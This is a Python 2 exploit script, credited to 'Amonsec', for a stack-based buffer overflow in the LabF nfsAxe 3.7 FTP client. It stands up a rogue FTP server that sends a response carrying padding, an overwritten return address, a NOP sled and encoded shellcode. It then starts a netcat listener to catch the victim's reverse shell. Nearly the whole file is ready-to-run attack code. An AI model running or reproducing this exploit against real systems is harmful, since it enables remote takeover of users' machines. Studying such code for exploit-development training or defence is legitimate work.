#!/usr/bin/python
import socket
import struct
import subprocess

_RED = '\x1b[1;31m'
_BLU = '\x1b[1;34m'
_GRE = '\x1b[1;32m'
_RST = '\x1b[0;0;0m'
successMessage = lambda x: '{}[+]{} {}'.format(_GRE, _RST, x)
errorMessage = lambda x: '{}[-]{} {}'.format(_RED, _RST, x)
infoMessage = lambda x: '{}[*]{} {}'.format(_BLU, _RST, x)

lhost = "0.0.0.0"
lport = 21

shellcode =  ""
shellcode += "\xda\xd1\xd9\x74\x24\xf4\xbe\x2f\xf0\x85\x45\x5a"
shellcode += "\x2b\xc9\xb1\x52\x31\x72\x17\x83\xc2\x04\x03\x5d"
shellcode += "\xe3\x67\xb0\x5d\xeb\xea\x3b\x9d\xec\x8a\xb2\x78"
shellcode += "\xdd\x8a\xa1\x09\x4e\x3b\xa1\x5f\x63\xb0\xe7\x4b"
shellcode += "\xf0\xb4\x2f\x7c\xb1\x73\x16\xb3\x42\x2f\x6a\xd2"
shellcode += "\xc0\x32\xbf\x34\xf8\xfc\xb2\x35\x3d\xe0\x3f\x67"
shellcode += "\x96\x6e\xed\x97\x93\x3b\x2e\x1c\xef\xaa\x36\xc1"
shellcode += "\xb8\xcd\x17\x54\xb2\x97\xb7\x57\x17\xac\xf1\x4f"
shellcode += "\x74\x89\x48\xe4\x4e\x65\x4b\x2c\x9f\x86\xe0\x11"
shellcode += "\x2f\x75\xf8\x56\x88\x66\x8f\xae\xea\x1b\x88\x75"
shellcode += "\x90\xc7\x1d\x6d\x32\x83\x86\x49\xc2\x40\x50\x1a"
shellcode += "\xc8\x2d\x16\x44\xcd\xb0\xfb\xff\xe9\x39\xfa\x2f"
shellcode += "\x78\x79\xd9\xeb\x20\xd9\x40\xaa\x8c\x8c\x7d\xac"
shellcode += "\x6e\x70\xd8\xa7\x83\x65\x51\xea\xcb\x4a\x58\x14"
shellcode += "\x0c\xc5\xeb\x67\x3e\x4a\x40\xef\x72\x03\x4e\xe8"
shellcode += "\x75\x3e\x36\x66\x88\xc1\x47\xaf\x4f\x95\x17\xc7"
shellcode += "\x66\x96\xf3\x17\x86\x43\x53\x47\x28\x3c\x14\x37"
shellcode += "\x88\xec\xfc\x5d\x07\xd2\x1d\x5e\xcd\x7b\xb7\xa5"
shellcode += "\x86\x43\xe0\xa4\x30\x2c\xf3\xa6\xb9\x95\x7a\x40"
shellcode += "\xab\xf5\x2a\xdb\x44\x6f\x77\x97\xf5\x70\xad\xd2"
shellcode += "\x36\xfa\x42\x23\xf8\x0b\x2e\x37\x6d\xfc\x65\x65"
shellcode += "\x38\x03\x50\x01\xa6\x96\x3f\xd1\xa1\x8a\x97\x86"
shellcode += "\xe6\x7d\xee\x42\x1b\x27\x58\x70\xe6\xb1\xa3\x30"
shellcode += "\x3d\x02\x2d\xb9\xb0\x3e\x09\xa9\x0c\xbe\x15\x9d"
shellcode += "\xc0\xe9\xc3\x4b\xa7\x43\xa2\x25\x71\x3f\x6c\xa1"
shellcode += "\x04\x73\xaf\xb7\x08\x5e\x59\x57\xb8\x37\x1c\x68"
shellcode += "\x75\xd0\xa8\x11\x6b\x40\x56\xc8\x2f\x70\x1d\x50"
shellcode += "\x19\x19\xf8\x01\x1b\x44\xfb\xfc\x58\x71\x78\xf4"
shellcode += "\x20\x86\x60\x7d\x24\xc2\x26\x6e\x54\x5b\xc3\x90"
shellcode += "\xcb\x5c\xc6"

exploit = ''
exploit += '\x41' * 2063
exploit += struct.pack('<L', 0x6809d408)
exploit += '\x90' * 32
exploit += shellcode
exploit += '\x41' * (4000 - 4 - 2063 - 32 - len(shellcode))

try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.bind((lhost, lport))
	s.listen(1)

	print infoMessage('LabF nfsAxe 3.7 FTP Client - Stack Based Buffer Overflow')
	print infoMessage('Author: {}Amonsec{}'.format(_RED, _RST))
	print infoMessage('Evil FTP server waiting for a connection')
	target, addr = s.accept()
	print successMessage('Connection from {}'.format(addr))

	print infoMessage('Sending the evil request')
	target.send('220 Welcome to DOOM FTP server\r\n')
	target.recv(1024)
	target.send('331 OK\r\n')
	target.recv(1024)
	target.send('230 OK\r\n')
	target.recv(1024)
	target.send('220 "{}" offsec is delivering the good like\r\n'.format(exploit))

	s.close()
	target.close()

	print ''
	print infoMessage('Waiting for a reverse shell')
	subprocess.call(['nc -lnvp 1337'], shell=True)

except socket.error as error:
	print 'Error: ' + str(error)
	s.close()
	target.close()
	sys.exit(1)

except KeyboardInterrupt:
	s.close()
	target.close()
	sys.exit(1)
